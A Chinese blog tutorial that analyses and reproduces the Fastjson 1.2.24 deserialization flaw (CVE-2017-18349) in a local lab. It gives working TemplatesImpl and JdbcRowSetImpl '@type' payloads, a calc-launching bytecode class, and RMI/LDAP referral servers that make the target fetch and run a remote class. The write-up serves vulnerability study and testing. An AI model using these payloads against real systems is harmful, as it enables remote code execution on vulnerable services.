Fastjson1.2.24(CVE-2017-18349)分析

2024-09-03 01:52

本文主要是介绍Fastjson1.2.24(CVE-2017-18349)分析,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

Fastjson在1.2.24版本之前存在两条利用链,分别是

  1. JNDI com.sun.rowset.JdbcRowSetImpl
  2. com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
    我们本次也是对这两条链进行分析和过程复现
    在fastjson漏洞中,我们往往是寻找一个类,它的构造函数、 getter,setter 方法有问题,那么往往这个类就是我们要找的漏洞触发点了

环境搭建

1.jdk8u65 (低版本有jndi漏洞的)
2.fastjson 1.2.24

先在pom.xml中写入实验需要的环境
unboundid-ldapsdk(等会ldap需要)
commons-io(数据流操作需要)
fastjson (漏洞触发环境)
commons-codec(加密需要)

<dependency><groupId>com.unboundid</groupId><artifactId>unboundid-ldapsdk</artifactId><version>4.0.9</version>
</dependency>
<dependency><groupId>commons-io</groupId><artifactId>commons-io</artifactId><version>2.5</version>
</dependency>
<dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.24</version>
</dependency>
<dependency><groupId>commons-codec</groupId><artifactId>commons-codec</artifactId><version>1.12</version>
</dependency>

1.TemplatesImpl分析

在之前的CC链分析中,有一个漏洞点是位于TemplatesImpl加载字节码,然后调用了newInstance()方法进行实例化执行命令,而这个方法就是一个getter方法
在这里插入图片描述

我们想要顺利执行到newInstance()方法实例化执行命令需要满足中间的程序判定,让它顺利的执行到目标点
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  1. _name为String类型,不能为null
  2. _class为Class类型的数据,必须为null 默认也是null,不用处理
  3. _bytecodes为字节类型的二维数组,不能为null
  4. _tfactory为一个 TransformerFactoryImpl 类型不可序列化的transient的对象,并且初始化为 null,不能为空,他还需要执行方法
  5. _auxClasses不为null,需要让payload继承 ABSTRACT_TRANSLET 这个父类
    所以我们使用以下代码
String text1 = "{\"@type\":\"" + NASTY_CLASS +"\",\"_bytecodes\":[\""+evilCode+"\"],'_name':'admin','_tfactory':{ },"

虽然fastjson会自动调用目标的所有getter和setter方法,但是只会调用满足条件的getter和setter方法

满足条件的setter:

  • 非静态函数
  • 方法名长度大于4
  • 方法名以set开头
  • 返回类型为void或当前类
  • 参数个数为1个

满足条件的getter:

  • 非静态方法
  • 方法名长度大于等于4
  • 以get开头且第4个字母为大写
  • 无参数
  • 返回值类型继承自Collection或Map或AtomicBoolean或AtomicInteger或AtomicLong

而我们的getTransletInstance()方法返回的是一个translet实例
在这里插入图片描述
我们寻找谁调用了getTransletInstance()方法,但是它不是getter方法,我们继续寻找
在这里插入图片描述
我们可以看到有一个getter方法,我们看它是否满足fastjson的调用条件,可以看到是满足的,它最后返回的Properties继承的是Map
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以当前的路线为:

getOutputProperties()  ---> newTransformer() ---> TransformerImpl

2.TemplatesImpl复现

所以我们构造poc要加上_outputProperties,使其能够触发getOutputProperties()方法

package org.example;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;import java.io.IOException;public class Calc  extends AbstractTranslet{static {try {Runtime.getRuntime().exec("calc");} catch (IOException e){e.printStackTrace();}}
//@Overridepublic void transform(DOM document, SerializationHandler[] handlers) throws TransletException {}@Overridepublic void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {}
}
package org.fastjson;import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;
import com.alibaba.fastjson.parser.ParserConfig;
import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;public class fstjson124 {public static void main(String args[]) {try{final String evilClassPath = "D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class";String evilCode = readClass(evilClassPath);final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";String text1 = "{\"@type\":\"" + NASTY_CLASS +"\",'_bytecodes':['"+evilCode+"'],'_name':'admin','_tfactory':{ },'_outputProperties':{ },";System.out.println(text1);Object obj = JSON.parseObject(text1, Object.class,  Feature.SupportNonPublicField);}catch (Exception e){e.printStackTrace();}}public static String readClass(String cls){ByteArrayOutputStream bos = new ByteArrayOutputStream();try {IOUtils.copy(new FileInputStream(new File(cls)), bos);} catch (IOException e) {e.printStackTrace();}return Base64.encodeBase64String(bos.toByteArray());}
}

需要注意的是,在fastjson当中,双引号和单引号是有区别的,注意区分,而且想让传给JSON.parseObject()进行反序列化的JSON内容指向的对象类中的私有变量成功还原出来,则需要在调用JSON.parseObject()时加上Feature.SupportNonPublicField这个属性设置
在这里插入图片描述

3. JdbcRowSetImpl 分析及复现

这条链的漏洞主要存在于JdbcRowSetImpl#setAutoCommit和JdbcRowSetImpl#setDataSourceName
我们查看JdbcRowSetImpl#setAutoCommit方法

在这里插入图片描述
在this.conn为空的情况下,会进入connect()方法
并且在this.getDataSourceName() != null的情况下,进行了一次JNDI的调用
在这里插入图片描述
而这个值是怎么来的呢,这个值可以在JdbcRowSetImpl#setDataSourceName中由我们控制赋予
在这里插入图片描述
它会调用父类,然后设置dataSource的值
在这里插入图片描述
而在上面的调用this.getDataSourceName(),调用的就是dataSource的值
在这里插入图片描述
我们也可以看到这两个方法JdbcRowSetImpl#setAutoCommit和JdbcRowSetImpl#setDataSourceName都是符合fastjson的setter规则的
所以我们构建payload

{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit", "autoCommit":true
}

3.1 JNDI+RMI

我们先写一个测试的类

import java.io.IOException;public class Calc {static {try {Runtime.getRuntime().exec("calc");} catch (IOException e){e.printStackTrace();}}
//
}

然后使用python启动一个http服务在这里插入图片描述
启动RMI

import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;public class ldap {public static void main(String[] args) {try {// RMI部分Registry registry = LocateRegistry.createRegistry(1099);InitialContext initialContextRMI = new InitialContext();Reference referenceRMI = new Reference("Calc", "Calc", "http://127.0.0.1:8000/");initialContextRMI.rebind("rmi://127.0.0.1:1099/remoteObj", referenceRMI);} catch (Exception e) {e.printStackTrace();}}}

然后运行我们的Payload

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;public class fastjson_124_jndi {public static void main(String args[]) {try{String text1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1099/remoteObj\",\"autoCommit\":true}";System.out.println(text1);Object obj = JSON.parseObject(text1, Object.class,  Feature.SupportNonPublicField);}catch (Exception e){e.printStackTrace();}}
}

在这里插入图片描述

3.2 JNDI+ldap

我们代码启动一个ldap

package org.example;import javax.naming.InitialContext;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;// jndi 绕过 jdk8u191 之前的攻击
public class JNDILdapServer {private static final String LDAP_BASE = "dc=example,dc=com";public static void main (String[] args) {String url = "http://127.0.0.1:8000/#Calc";int port = 1099;try {InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);config.setListenerConfigs(new InMemoryListenerConfig("listen",InetAddress.getByName("0.0.0.0"),port,ServerSocketFactory.getDefault(),SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(url)));InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);System.out.println("Listening on 0.0.0.0:" + port);ds.startListening();}catch ( Exception e ) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {private URL codebase;/*** */ public OperationInterceptor ( URL cb ) {this.codebase = cb;}/*** {@inheritDoc}* * @see com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor#processSearchResult(com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult)*/ @Overridepublic void processSearchResult ( InMemoryInterceptedSearchResult result ) {String base = result.getRequest().getBaseDN();Entry e = new Entry(base);try {sendResult(result, base, e);}catch ( Exception e1 ) {e1.printStackTrace();}}protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);e.addAttribute("javaClassName", "Exploit");String cbstring = this.codebase.toString();int refPos = cbstring.indexOf('#');if ( refPos > 0 ) {cbstring = cbstring.substring(0, refPos);}e.addAttribute("javaCodeBase", cbstring);e.addAttribute("objectClass", "javaNamingReference");e.addAttribute("javaFactory", this.codebase.getRef());result.sendSearchEntry(e);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));}}
}

在这里插入图片描述
启动http服务,上面有我们的测试类
在这里插入图片描述
启动Payload


import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;public class fastjson_124_jndi {public static void main(String args[]) {try{String text1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:1099/Exploit\",\"autoCommit\":true}";System.out.println(text1);Object obj = JSON.parseObject(text1);}catch (Exception e){e.printStackTrace();}}
}

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3.3 工具启动

我们直接使用工具启动一个ldap
在这里插入图片描述
将payload中的地址进行替换

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;public class fastjson_124_jndi {public static void main(String args[]) {try{String text1 = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:80/Object\",\"autoCommit\":true}";System.out.println(text1);Object obj = JSON.parseObject(text1);}catch (Exception e){e.printStackTrace();}}
}

在这里插入图片描述
我们可以看到记录已经访问到
在这里插入图片描述

4.总结

我们一共分析了两种fastjson1.2.4利用的方式,第一种TemplatesImpl涉及到私有变量,所以需要代码种包括Feature.SupportNonPublicField,这一点限制比较大
所以在平常的测试种,我们往往使用第二种方式来进行测试fastjson漏洞,不过要区分jdk版本来使用不同的绕过方式

这篇关于Fastjson1.2.24(CVE-2017-18349)分析的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1131687

相关文章

性能分析之MySQL索引实战案例

文章目录 一、前言二、准备三、MySQL索引优化四、MySQL 索引知识回顾五、总结 一、前言 在上一讲性能工具之 JProfiler 简单登录案例分析实战中已经发现SQL没有建立索引问题,本文将一起从代码层去分析为什么没有建立索引? 开源ERP项目地址:https://gitee.com/jishenghua/JSH_ERP 二、准备 打开IDEA找到登录请求资源路径位置

SWAP作物生长模型安装教程、数据制备、敏感性分析、气候变化影响、R模型敏感性分析与贝叶斯优化、Fortran源代码分析、气候数据降尺度与变化影响分析

查看原文>>>全流程SWAP农业模型数据制备、敏感性分析及气候变化影响实践技术应用 SWAP模型是由荷兰瓦赫宁根大学开发的先进农作物模型,它综合考虑了土壤-水分-大气以及植被间的相互作用;是一种描述作物生长过程的一种机理性作物生长模型。它不但运用Richard方程,使其能够精确的模拟土壤中水分的运动,而且耦合了WOFOST作物模型使作物的生长描述更为科学。 本文让更多的科研人员和农业工作者

MOLE 2.5 分析分子通道和孔隙

软件介绍 生物大分子通道和孔隙在生物学中发挥着重要作用,例如在分子识别和酶底物特异性方面。 我们介绍了一种名为 MOLE 2.5 的高级软件工具,该工具旨在分析分子通道和孔隙。 与其他可用软件工具的基准测试表明,MOLE 2.5 相比更快、更强大、功能更丰富。作为一项新功能,MOLE 2.5 可以估算已识别通道的物理化学性质。 软件下载 https://pan.quark.cn/s/57

衡石分析平台使用手册-单机安装及启动

单机安装及启动​ 本文讲述如何在单机环境下进行 HENGSHI SENSE 安装的操作过程。 在安装前请确认网络环境,如果是隔离环境,无法连接互联网时,请先按照 离线环境安装依赖的指导进行依赖包的安装,然后按照本文的指导继续操作。如果网络环境可以连接互联网,请直接按照本文的指导进行安装。 准备工作​ 请参考安装环境文档准备安装环境。 配置用户与安装目录。 在操作前请检查您是否有 sud

线性因子模型 - 独立分量分析(ICA)篇

序言 线性因子模型是数据分析与机器学习中的一类重要模型,它们通过引入潜变量( latent variables \text{latent variables} latent variables)来更好地表征数据。其中,独立分量分析( ICA \text{ICA} ICA)作为线性因子模型的一种,以其独特的视角和广泛的应用领域而备受关注。 ICA \text{ICA} ICA旨在将观察到的复杂信号

【软考】希尔排序算法分析

目录 1. c代码2. 运行截图3. 运行解析 1. c代码 #include <stdio.h>#include <stdlib.h> void shellSort(int data[], int n){// 划分的数组,例如8个数则为[4, 2, 1]int *delta;int k;// i控制delta的轮次int i;// 临时变量,换值int temp;in

三相直流无刷电机(BLDC)控制算法实现:BLDC有感启动算法思路分析

一枚从事路径规划算法、运动控制算法、BLDC/FOC电机控制算法、工控、物联网工程师,爱吃土豆。如有需要技术交流或者需要方案帮助、需求:以下为联系方式—V 方案1:通过霍尔传感器IO中断触发换相 1.1 整体执行思路 霍尔传感器U、V、W三相通过IO+EXIT中断的方式进行霍尔传感器数据的读取。将IO口配置为上升沿+下降沿中断触发的方式。当霍尔传感器信号发生发生信号的变化就会触发中断在中断

kubelet组件的启动流程源码分析

概述 摘要: 本文将总结kubelet的作用以及原理,在有一定基础认识的前提下,通过阅读kubelet源码,对kubelet组件的启动流程进行分析。 正文 kubelet的作用 这里对kubelet的作用做一个简单总结。 节点管理 节点的注册 节点状态更新 容器管理(pod生命周期管理) 监听apiserver的容器事件 容器的创建、删除(CRI) 容器的网络的创建与删除

PostgreSQL核心功能特性与使用领域及场景分析

PostgreSQL有什么优点? 开源和免费 PostgreSQL是一个开源的数据库管理系统,可以免费使用和修改。这降低了企业的成本,并为开发者提供了一个活跃的社区和丰富的资源。 高度兼容 PostgreSQL支持多种操作系统(如Linux、Windows、macOS等)和编程语言(如C、C++、Java、Python、Ruby等),并提供了多种接口(如JDBC、ODBC、ADO.NET等

OpenCV结构分析与形状描述符(11)椭圆拟合函数fitEllipse()的使用

操作系统:ubuntu22.04 OpenCV版本:OpenCV4.9 IDE:Visual Studio Code 编程语言:C++11 算法描述 围绕一组2D点拟合一个椭圆。 该函数计算出一个椭圆,该椭圆在最小二乘意义上最好地拟合一组2D点。它返回一个内切椭圆的旋转矩形。使用了由[90]描述的第一个算法。开发者应该注意,由于数据点靠近包含的 Mat 元素的边界,返回的椭圆/旋转矩形数据